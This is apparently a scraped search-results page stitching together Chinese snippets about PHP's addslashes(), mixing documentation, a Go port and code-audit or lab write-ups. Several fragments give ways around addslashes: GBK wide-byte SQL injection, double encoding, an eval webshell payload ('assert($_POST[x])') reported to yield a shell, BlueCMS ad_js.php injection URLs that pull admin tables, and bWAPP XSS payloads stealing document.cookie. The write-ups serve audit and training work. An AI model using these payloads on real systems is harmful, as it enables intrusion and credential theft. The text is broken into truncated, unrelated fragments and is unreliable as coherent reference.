由于addslashes无视目标字符串的编码,直接按照二进制字节对字符串添加下划线,会导致很多注入隐患。 比如说gbk环境下,有一个宽字符是"\xbf\x27"。...传统的addslashes函数会直接无视掉"\xbf"而直接对后面的"\x27"加下划线,结果变成了"\xbf\x5c\x27"。这样前面两个字节构成宽字符,后面的"\x27"就会单独被解析。...比如下面这个: function mb_addslashes($str, $enco) { $retstr = ""; $len = mb_strlen($str, $enco); for(
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。 预定义字符是: 单引号(’) 双引号(”) 反斜杠(\) NULL echo "Who's Bill Gates?..."; echo addslashes("Who's Bill Gates?") 结果: Who's Bill Gates? Who\'s Bill Gates?...注:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。
php $str = addslashes('ggg is the "dada" city in China.'); echo($str); ?...> addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。...单引号(’) 双引号(") 反斜杠(\) NULL 可用于为存储在数据库中的字符串以及数据库查询语句准备字符串 GET、POST 和 COOKIE 数据自动运行 addslashes() 可以使用函数...get_magic_quotes_gpc() 进行检测 addslashes(string) 要转义的字符串 运行实例 "; echo addslashes($str) . " This is safe in a database query."; ?> Who's Who\'s
PHP addslashes() 函数 实例 在每个双引号(”)前添加反斜杠: <?php $str = addslashes('What does "yolo" mean?')...定义和用法 addslashes() 函数返回在预定义的字符前添加反斜杠的字符串。...注释:默认情况下,PHP 指令 magic_quotes_gpc 为 on,对所有的 GET、POST 和 COOKIE 数据自动运行addslashes()。...语法 addslashes( _string_ ) ? ? 实例 1 向字符串中的预定义字符添加反斜杠: <?php $str = "Who's Peter Griffin?"...<br "; echo addslashes($str) . " This is safe in a database query."; ?
PHP 中使用 addslashes() 函数转义字符串。所谓字符串转义,就是在某些特殊字符前面加上转义符号\,这些特殊字符包括单引号'、双引号"、反斜线\与空字符NUL。...addslashes() 函数的语法格式如下: string addslashes ( string $str ) 该函数返回转义后的字符串,参数 $str 是要被转义的字符。...一个使用 addslashes() 的例子是往数据库中输入数据,例如将名字O'reilly插入数据库中,就需要对其进行转义。...php $str = "I don't love you"; echo addslashes($str); ?...php $str = "I don't love you"; $str1 = addslashes($str); echo $str1 .
大家好,又见面了,我是你们的朋友全栈君 // addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。...// 预定义字符是: // 单引号(') // 双引号(") // 反斜杠(\) func Addslashes(str string) string { tmpRune := []rune{} strRune...default: tmpRune = append(tmpRune, ch) } } return string(tmpRune) } // stripslashes() 函数删除由 addslashes
php @$_str = $_GET['str']; //print_r($_str); $_temp = '$str="'.addslashes($_str).'";';...@print_r($_temp); @eval('$str="'.addslashes($_str).'";'); ?...str=${${assert($_POST[x])}} 密码:x 成功拿到shell 0x04 总结 成功学习了一波,同时可以出去吹水了,addslashes()在编码UTF-8时,也是可能绕过的~
根据实际的情况,也有各种绕过addslashes的方法,今天写写几个代码审计中绕过addslashes的实例。...第一种情况:虽然使用了addslashes转义,但是缺没有加引号,直接无视过滤。...,$key); $key这个可控变量在addslashes之后用iconv函数转换编码,造成宽字节注入 ?...,但是因为做了addslashes之后,又使用了unescape函数进行url解码,所以直接双重编码来绕过addslashes http://127.0.0.1/xxxxx\source\plugin\...最后再举一个字符截断绕过addslashes的案例,这个个人觉得比较有趣 这套系统也是通过addslashes来防御sql注入的 .......
get_magic_quotes_gpc()) { $_POST = deep_addslashes($_POST); $_GET = deep_addslashes($_GET);...$_COOKIES = deep_addslashes($_COOKIES); $_REQUEST = deep_addslashes($_REQUEST); } magic_quotes_gpc...()函数过滤一遍 追踪一下deep_addslashes()函数,在/include/common.fun.php中 //14行-28行 function deep_addslashes($str) {...($val); } } else { $str = addslashes($str); } return $str; } 使用addslashes...ad_id=1 order by 7 #正常 http://127.0.0.1/bluecms_src/uploads/ad_js.php?
SQL注入漏洞: 第一处、ad_js.php: 代码逻辑很简单,如下: ?...可以看到就是调用addslashes() 函数去过滤传递过来的值。 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。...$ad_content."\");\r\n-->\r\n"; payload如下: view-source:http://192.168.2.113/bluecms/ad_js.php?...20information_schema.tables%20where%20table_schema=database() view-source:http://192.168.2.113/bluecms/ad_js.php...information_schema.columns where table_name=0x626c75655f61646d696e view-source:http://192.168.2.113/bluecms/ad_js.php
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。...语法 addslashes(string) 参数 描述 string 必需。规定要转义的字符串。
输入的内容直接输出到页面中: 后台服务端没有对输入的参数进行过滤, 直接任选一个注入xss payload即可: alert(1) Medium 虽然服务端进行了过滤, 但只是addslashes...title=页面也可以直接输入Payload High high等级利用了json的解析: 在输入框中注入是直接以字符串的形式输出的, 不会作为html元素或者js执行, 原因就在于xss_ajax...注入 High 将所有关键字转换为HTML实体, 安全: 0x08、XSS – Reflected (Eval) Low&High 很明显的一个执行函数eval(), 通过参数date传入可执行的js...date=alert(1) Medium 不影响js代码的执行 0x09、XSS – Reflected (HREF) web流程大致是先输入姓名, 再进行电影投票: Low 分析 观察名字被写入了页面中...于是在单引号后面xss: bee' 123 alert(1) Medium 使用了addslashes()函数来进行过滤,因为有转义,所以该函数无效。
输入alert(document.cookie) middle 输入校验 function xss_check_4($data) { // addslashes...return addslashes($data); } addslashes对’、”、\、NUL进行了编码,在其前面加上\,例如输入”会输出\”。...Store——User-Agent low 这里会将HTTP Headers中的User-Agent作为日志中的User-Agent输出,修改其为js代码可以将其输出到浏览器上。...$ip_address = $_SERVER["REMOTE_ADDR"]; $user_agent = $_SERVER["HTTP_USER_AGENT"]; middle 绕过addslashes...middle and high 使用htmlspecialchars,安全 Reflected (AJAX/JSON) 不是很懂js,但是看样子在0和1等级的时候,可以eval执行我们的输入,但是 <?
function new_addslashes($string) { if(!...is_array($string)) return addslashes($string); foreach($string as $key => $val) $string[$key] = new_addslashes...>/','',$text); //完全过滤js $text = preg_replace('/<script?.... $text = preg_replace('/([br]s*){10,}/i','[br]',$text); //过滤危险的属性,如:过滤on事件lang js...|javascript:|js:|about:|file:|document.
addslashes(trim($_POST['allow_remark'])) : 'n'; 这段代码的下方加如下代码 $password = isset($_POST['password']) ?...addslashes(trim($_POST['password'])) : ''; 同样是根目录文件admin/page.php中 'template' => $template, 这段代码的下方加如下代码...br />«返回首页 后台点“保存”也能保存数据的方法,找到根目录admin/views/js.../common.js中找到(请下载最新版本的程序5.3.1) var pageurl = $.trim($("#url").val()); 下面加入代码:var password = $.trim($(
get_magic_quotes_gpc()) { $user = addslashes($user); $pass = addslashes($pass);...get_magic_quotes_gpc()) { $userid = addslashes($userid); $pass = addslashes($pass); }...get_magic_quotes_gpc()) { $user = addslashes($user); } if(!...CSP可以有效防止xss,就从网上搜了一下,然而…http://115.28.78.16/hctfj6/welcome.php Hint: 1、xss 2、由于出题时候遇到一些问题,现在改为如果成功执行js...self' 'unsafe-inline'; img-src 'self' 仔细看可以发现里面有一条frame-src *,说明iframe没有做任何的处理,如果使用iframe,我们可以调用任意位置的js
; } } } } } if(isset($_GET['download']) and isset($_GET['filename'])) { $download = addslashes...(htmlspecialchars_decode($_GET['download'])); $filename = addslashes(htmlspecialchars_decode($_GET['...image/x-icon"/> <script src="<em>js</em>/ChunkFive_400.font.<em>js</em>" type="text/javascript...(htmlspecialchars_decode($_GET['download'])); $filename = <em>addslashes</em>(htmlspecialchars_decode($_GET['
漏洞分析 丢进seay里面(新建项目->选择bluecms安装目录->自动审计->开始) 1.数字型SQL注入 产生此漏洞的文件为ad_js.php ?...而在ad_js.php文件的开头(第10行)引入了过滤文件require_once dirname(__FILE__) ....跟踪看看deep_addslashes是怎么实现的 function deep_addslashes($str) { if(is_array($str)) { foreach($...$str = addslashes($str); // } return $str; } 使用addslashes过滤 $ad = $db->getone("SELECT * FROM...row; } 是一个执行sql语句的函数,这里就确认存在数字型sql注入漏洞 漏洞复现:因为我们这里是白盒测试,所以直接提取一下管理的用户名和密码 http://www.bluecms16.com/ad_js.php
首先先挑选/ad_js.php文件 $ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id ="....当参数不为空时,trim函数会去除字符串两侧的空格,所以对我们没什么影响 这里可以发现文件上方引用了另外一个文件 可以发现,当没有开启魔术引号的时候就进入下面这处对数据的输入进行一定地处理 定位deep_addslashes...进入/include/common.fun.php文件 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。...联合查询这些反复的操作就不多叙述了 由于这里存在魔术引号,当我们爆表以及接下来操作的时候难免会用到引号,但是这里又存在魔术引号无法在该处绕过,所以说我们可以通过把表名转化为16进制即可如下: /ad_js.php
默认情况下,PHP 指令 magic_quotes_gpc 为 on ,它主要是对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。...不要对已经被 magic_quotes_gpc 转义过的字符串使用 addslashes(),因为这样会导致双层转义。...一个使用 addslashes() 的例子是当你要往数据库中输入数据时。例如,将名字 O'reilly 插入到数据库中,这就需要对其进行转义。...2、PHP 输出到 JS 代码中,或者开发 Json API 的,则需要前端在JS中进行过滤: 尽量使用 innerText(IE) 和 textContent(Firefox) ,也就是 jQuery...缺陷:IE 或低版本的浏览器可能不支持) 在设置 Cookie 时,加上 HttpOnly 参数 (作用:可以防止页面被 XSS 攻击时,Cookie 信息被盗取,可兼容至IE6) (缺陷:网站本身的 JS
领取专属 10元无门槛券
手把手带您无忧上云